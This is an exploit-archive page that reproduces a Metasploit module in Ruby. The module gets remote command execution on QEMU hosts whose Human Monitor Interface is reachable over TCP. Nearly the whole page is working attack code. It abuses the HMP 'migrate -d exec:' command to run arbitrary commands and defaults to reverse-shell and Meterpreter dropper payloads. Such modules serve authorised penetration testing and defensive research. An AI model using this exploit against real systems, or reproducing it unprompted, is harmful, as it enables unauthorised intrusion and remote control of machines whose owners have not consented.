exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

QEMU Monitor HMP migrate Command Execution

QEMU Monitor HMP migrate Command Execution
Posted Feb 8, 2022
Authored by Brendan Coles | Site metasploit.com

This Metasploit module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.

tags | exploit, tcp
systems | linux, ubuntu
SHA-256 | 31bb8b20fecf053ea400a06b2e8d39f22d910c3d0025edb6108fcff42b5aa6e0

QEMU Monitor HMP migrate Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
'Description' => %q{
This module uses QEMU's Monitor Human Monitor Interface (HMP)
TCP server to execute system commands using the `migrate` command.

This module has been tested successfully on QEMU version 6.2.0
on Ubuntu 20.04.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' => [
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
['URL', 'https://www.linux-kvm.org/page/Migration'],
],
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'Platform' => %w[unix linux],
'Payload' => {
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x22",
'Space' => 1010
},
'Targets' => [
[
'Unix (Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_cmd
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Type' => :linux_dropper
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Privileged' => false,
'DisclosureDate' => '2011-12-02'
)
)
end

def read_until_prompt
::Timeout.timeout(10) do
loop do
res = sock.get_once
break if res.nil?
break if res.to_s.include?('(qemu)')
end
end
end

def check
connect
banner = sock.get_once.to_s
disconnect

unless banner.include?('QEMU') && banner.include?('monitor')
return CheckCode::Safe('Service is not QEMU monitor HMP.')
end

CheckCode::Appears('QEMU monitor HMP service is running.')
end

def execute_command(cmd, _opts = {})
cmd = cmd.gsub('\\', '\\\\\\')
vprint_status("Executing command: #{cmd}")
sock.put("migrate -d \"exec:#{cmd}\"\n")
read_until_prompt
end

def exploit
connect
read_until_prompt

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1010, background: true)
end
ensure
disconnect unless sock.nil?
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close